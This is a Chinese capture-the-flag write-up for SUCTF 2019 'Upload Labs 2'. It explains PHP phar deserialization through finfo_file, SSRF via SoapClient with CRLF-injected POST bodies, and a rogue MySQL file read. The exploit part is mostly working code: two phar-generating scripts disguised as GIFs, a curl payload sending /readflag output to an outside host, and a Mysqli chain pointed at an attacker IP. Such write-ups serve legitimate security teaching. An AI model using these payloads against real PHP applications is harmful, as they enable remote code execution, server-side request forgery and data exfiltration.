[SUCTF 2019]Upload Labs 2
解题分析
源码我就先不贴了,github上有
index.php会限制上传文件后缀(“gif”, “jpeg”, “jpg”, “png”),路径做了md5加密
func.php有一些过滤,返回文件的MIME
config.php看英语是xml给disable了,应该是防xss的…
class.php比较重要了,其中finfo_file跟phar反序列化有关
admin.php,讲真的,就看懂了限制127.0.0.1,前面一坨写的啥我也看不懂。。。
先了解一下前置知识
phar反序列化
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
什么是phar文件
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器
finfo_file
用于获取有关文件的信息
相关漏洞原理过于高深,能看懂就看,知道跟触发phar反序列化有关就行
后面接下来分析
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php include 'config.php';
class File{
public $file_name; public $type; public $func = "Check";
function __construct($file_name){ $this->file_name = $file_name; }
function __wakeup(){ $class = new ReflectionClass($this->func); $a = $class->newInstanceArgs($this->file_name); $a->check(); } function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); }
function __toString(){ return $this->type; }
}
class Check{
public $file_name;
function __construct($file_name){ $this->file_name = $file_name; }
function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }
|
触发到wakeup才能触发check,进而读取文件,在wakeup里面有俩个类,ReflectionClass,newInstanceArgs
ReflectionClass,看名字也知道,反射类,可以返回一个类的信息。(暂时不看也行)补充:(反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))
来执行命)
ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例
俩个一起就是newInstanceArgs接收到的参数传给reflectionclass里的类当参数
总结一句话:可以创建任意类。
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| <?php include 'config.php';
class Ad{
public $ip; public $port;
public $clazz; public $func1; public $func2; public $func3; public $instance; public $arg1; public $arg2; public $arg3;
function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->ip = $ip; $this->port = $port;
$this->clazz = $clazz; $this->func1 = $func1; $this->func2 = $func2; $this->func3 = $func3; $this->arg1 = $arg1; $this->arg2 = $arg2; $this->arg3 = $arg3; }
function check(){
$reflect = new ReflectionClass($this->clazz); $this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); $reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); $reflectionMethod->invoke($this->instance, $this->arg3); }
function __wakeup(){ system("/readflag | nc $this->ip $this->port"); } }
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ if(isset($_POST['admin'])){ $ip = $_POST['ip']; $port = $_POST['port'];
$clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } } else { echo "You r not admin!"; }
|
有个可控的$cmd
可以执行命令。但是得本地访问,那么大致思路就是。通过class.php的魔术方法,实现本地访问admin.php就要ssrf,就要利用到Soapclient原生类了
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该类的构造函数如下:
1
| public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
|
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用 SoapClient 类进行 SSRF
知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。
1 2 3 4 5 6 7
| <?php $a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?>
|
这里我不详细写了,后面再去专门了解php原生类,暂且先知道他能实现ssrf就行
总结思路:他会接收上传的文件,会对上传的文件进行处理,经过finfo_file会对文件进行处理,在这过程中,读取文件名,文件类型,还有文件里精心构造的参数,对参数进行构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class File{ public $file_name; public $func="SoapClient"; public function __construct(){ $payload='admin=1&cmd=curl "http://0.0.0.0:00/?a=`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456'; $this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')]; } } $a=new File(); @unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>'); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
服务器监听即可
或者利用rogue mysql读取文件的位置使用 phar 协议读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class File{
public $file_name; public $type; public $func = "SoapClient";
function __construct($file_name){ $this->file_name = $file_name; } }
$target = 'http://127.0.0.1/admin.php'; // $target = "http://106.14.153.173:2015"; $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=xxx.xxx.xxx.xxx&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=xxx.xxx.xxx.xxx&port=xxxx'; $headers = array( 'X-Forwarded-For: 127.0.0.1', ); // $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,"uri" => "aaab"));
$phar = new Phar("1.phar"); //后缀名必须为phar $phar->startBuffering(); // <?php __HALT_COMPILER(); $phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //设置stub $o = new File($arr); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //签名自动计算 $phar->stopBuffering(); rename("1.phar", "1.gif"); ?>
|
主要是 phar soap client crlf 那里
1
| $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015';
|